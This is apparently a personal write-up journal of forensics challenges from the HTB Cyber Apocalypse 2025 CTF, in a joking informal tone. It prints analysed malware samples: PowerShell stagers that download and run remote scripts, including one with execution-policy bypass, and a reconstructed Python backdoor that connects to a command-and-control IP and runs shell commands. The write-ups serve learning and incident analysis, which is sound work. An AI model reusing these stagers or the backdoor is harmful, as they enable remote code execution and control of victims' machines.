
HTB Cyber Apocalypse CTF 2025: Tales from Eldoria - Journal
Thorin’s Amulet - Very Easy

This challenge give me a .ps1 file with the following content
powershellfunction qt4PO { if ($env:COMPUTERNAME -ne "WORKSTATION-DM-0043") { exit } powershell.exe -NoProfile -NonInteractive -EncodedCommand "SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8va29ycC5odGIvdXBkYXRlIik=" } qt4PO
The comment at the end is the string I decoded from the Base64 string in the code above. I got stuck here for quite a while because some network issues prevented me from opening the docker to replace the link above to get next payload. Although I joined this ctf quite early
powershellfunction aqFVaq { Invoke-WebRequest -Uri "http://korp.htb/a541a" -Headers @{"X-ST4G3R-KEY"="5337d322906ff18afedc1edc191d325d"} -Method GET -OutFile a541a.ps1 powershell.exe -exec Bypass -File "a541a.ps1" } aqFVaq
Let write a simple script by Python to make a same request for get this file (or just delete exec line 🤡)
Code:
pythonimport requests def make_request(options): url = f"http://{options['hostname']}{options['path']}" response = requests.request( method=options['method'], url=url, headers=options.get('headers', {}), data=options.get('body', None) ) return { 'statusCode': response.status_code, 'headers': dict(response.headers), 'body': response.text } def main(): try: response = make_request({ 'hostname': '83.136.250.101:50730', 'path': '/a541a', 'method': 'GET', 'headers': { 'X-ST4G3R-KEY': '5337d322906ff18afedc1edc191d325d' } }) # print('Status:', response['statusCode']) # print('Headers:', response['headers']) print('Body:', response['body']) except Exception as error: print('Error:', str(error)) if __name__ == "__main__": main()
Alright we have a next payload here. At first glance we see that we just need to change the exec function to echo and powershell will do the rest for us.
powershell$a35 = "4854427b37683052314e5f4834355f346c573459355f3833336e5f344e5f39723334375f314e56336e3730727d" echo (($a35-split"(..)"|?{$_}|%{[char][convert]::ToInt16($_,16)}) -join "")

Fact: In the midnight, when I was so helpless with ISP, my brother still sent me pictures of his wife and advised me to skip school to do ctf 💀
Slient Trap - Easy
We have a pcap file, use WireShark to analyse it or you can open YouTube, it can't help you solve this challenge but watching video is ok

Q1: What is the subject of the first email that the victim opened and replied to?

Q2: On what date and time was the suspicious email sent? (Format: YYYY-MM-DD_HH:MM) (for example: 1945-04-30_12:34)

Q4: What credentials were used to log into the attacker's mailbox? (Format: username:password)

Just dump when you see a lot of http packet 🫣

Locked archive?
John? Nah, you can run but maybe by the time rockyou2077 exists it will probably work. Look around these packet you will see password


Q3: What is the MD5 hash of the malware file?

After going through all the functions, I noticed the following 3 sus functions

At the xor function, we found the key

At the Encrypt function, this performs RC4 encryption.

Based on what we found, the program performed Base64 and RC4 encoding before sending something. Below is the script to decode the packets sent that Wireshark captured.
pythonimport base64 from Crypto.Cipher import ARC4 key = bytes([ 168, 115, 174, 213, 168, 222, 72, 36, 91, 209, 242, 128, 69, 99, 195, 164, 238, 182, 67, 92, 7, 121, 164, 86, 121, 10, 93, 4, 140, 111, 248, 44, 30, 94, 48, 54, 45, 100, 184, 54, 28, 82, 201, 188, 203, 150, 123, 163, 229, 138, 177, 51, 164, 232, 86, 154, 179, 143, 144, 22, 134, 12, 40, 243, 55, 2, 73, 103, 99, 243, 236, 119, 9, 120, 247, 25, 132, 137, 67, 66, 111, 240, 108, 86, 85, 63, 44, 49, 241, 6, 3, 170, 131, 150, 53, 49, 126, 72, 60, 36, 144, 248, 55, 10, 241, 208, 163, 217, 49, 154, 206, 227, 25, 99, 18, 144, 134, 169, 237, 100, 117, 22, 11, 150, 157, 230, 173, 38, 72, 99, 129, 30, 220, 112, 226, 56, 16, 114, 133, 22, 96, 1, 90, 72, 162, 38, 143, 186, 35, 142, 128, 234, 196, 239, 134, 178, 205, 229, 121, 225, 246, 232, 205, 236, 254, 152, 145, 98, 126, 29, 217, 74, 177, 142, 19, 190, 182, 151, 233, 157, 76, 74, 104, 155, 79, 115, 5, 18, 204, 65, 254, 204, 118, 71, 92, 33, 58, 112, 206, 151, 103, 179, 24, 164, 219, 98, 81, 6, 241, 100, 228, 190, 96, 140, 128, 1, 161, 246, 236, 25, 62, 100, 87, 145, 185, 45, 61, 143, 52, 8, 227, 32, 233, 37, 183, 101, 89, 24, 125, 203, 227, 9, 146, 156, 208, 206, 194, 134, 194, 23, 233, 100, 38, 158, 58, 159 ]) def decrypt_base64_rc4(encoded_str, key): decoded_data = base64.b64decode(encoded_str) cipher = ARC4.new(key) decrypted_data = cipher.decrypt(decoded_data) return decrypted_data encoded_str = "VGiPTdHXQGP876EbMX2FJhm3ZazpvA8aO8jT1uC8xPhDZq/Np5oZQnHUpKxc36FHBznusaFRsSPtnJzlC4qyGNxcWMCIs1qdVzygFbDj0se4vntsvpU9rKvQPLcPERIjLB36+ws5PVmzVsnuxNmgUPegSj+VPrRfrcHkaE0VL2hOwFIfT8iFNsaVDmnmTwc4DwNxqVqvTfOSr5YCFzLYZhlGMKbBYwhRks/IUuS31pSyoY02zA2T/8MtRORCihusuiBB6lfwkOSDyvxAAS2eTNoqirpJX4oJpFo3HRzFiGt7Tf/hYDvgs4HhXNNUHiBTgR/ckAwJHX0PoBDbTYvxQCtWNytjzQFjF8ir6ihZqFEEUibY3Enkx73tO7zgG5MDXHNRxF6dk7NdM6hcR3RNywIGvr09k/HumgOhs6MgvrHuNauqVWR5t0N52Pf21A6gTNGVtkRfBdnH/vMwOY7egIIxRNR7BlDnaeBlOfmE4aPu5C7BjLhQkwQUcC2mtMa0Sy7vtm+oqIn5po/BFqKsfdreOrYrX3XZ+98F1KC+RVKLPH9pBKd0kH9jHbAMY19YPKl5dok4ls491gXmpv+tb9aPq6PAPkHtAj0ftml7fg==" decrypted_data = decrypt_base64_rc4(encoded_str, key) print(decrypted_data)
Q5: What is the name of the task scheduled by the attacker?

Q6: What is the API key leaked from the highly valuable file discovered by the attacker?

W bquaman

After-contest
Stealth Invasion - Easy
Q1: What is the PID of the Original (First) Google Chrome process
psvol.py -f '/home/kali/Desktop/memdump.elf' windows.pslist

Q2: What is the only Folder on the Desktop
psvol.py -f '/home/kali/Desktop/memdump.elf' windows.filescan | grep "Desktop"
Q3: What is the Extention's ID (ex: hlkenndednhfkekhgcdicdfddnkalmdm)
psvol.py -f '/home/kali/Desktop/memdump.elf' windows.filescan | rg -Fi "\\Default\\Local Extension Settings\\"

Q4: After examining the malicious extention's code, what is the log filename in which the data is stored

Q5: What is the URL the user navigated to
Q6: What is the password of selene@rangers.eldoria.com

Cave Expedition - Medium

ToolPie - Medium
Q1: What is the IP address responsible for compromising the website?
Q2: What is the name of the endpoint exploited by the attacker?
Q3: What is the name of the obfuscation tool used by the attacker

pythonimport bz2 import marshal decompressed_data = bz2.decompress( b'BZh91AY&SY\x8d*w\x00\x00\n\xbb\x7f\xff\xff\xff\xff\xff...' ) code_object = marshal.loads(decompressed_data) print(code_object.co_consts)

pythonimport bz2 import dis compressed_data = b'''BZh91AY&SY\x8d*w\x00\x00\n\xbb\x7f\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf...''' code = bz2.decompress(compressed_data) open('dis.txt','w').write(dis.dis(code))

pythonimport os import socket import threading from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad def enc_mes(message, key): """Encrypt message using AES""" cipher = AES.new(key, AES.MODE_CBC) iv = cipher.iv encrypted = cipher.encrypt(pad(message.encode(), 16)) return iv + encrypted def dec_file_mes(encrypted_data, key): """Decrypt file message""" iv = encrypted_data[:16] encrypted = encrypted_data[16:] cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = unpad(cipher.decrypt(encrypted), 16) return decrypted def dec_mes(encrypted_data, key): """Decrypt message""" iv = encrypted_data[:16] encrypted = encrypted_data[16:] cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = unpad(cipher.decrypt(encrypted), 16) return decrypted.decode() def receive_file(conn, key): """Receive and decrypt file""" try: # Receive file data file_data = b"" while True: chunk = conn.recv(4096) if b"<SEPARATOR>" in chunk: file_data += chunk.split(b"<SEPARATOR>")[0] break file_data += chunk # Decrypt file decrypted_file = dec_file_mes(file_data, key) return decrypted_file except Exception as e: return None def receive(conn, key): """Main receive function""" try: while True: # Receive command data = conn.recv(4096) if not data: break # Decrypt command command = dec_mes(data, key) if command == "whoami": # Execute whoami command result = os.popen("whoami").read() encrypted_result = enc_mes(result, key) conn.send(encrypted_result) # Handle other commands... except Exception as e: conn.close() def main(): """Main function""" # Server configuration HOST = "13.61.7.218" PORT = 55155 # Connect to C&C server try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((HOST, PORT)) # Generate or receive encryption key key = b"your_16_byte_key" # This would be dynamically generated # Start receiving commands receive_thread = threading.Thread(target=receive, args=(sock, key)) receive_thread.start() except Exception as e: pass if __name__ == "__main__": main()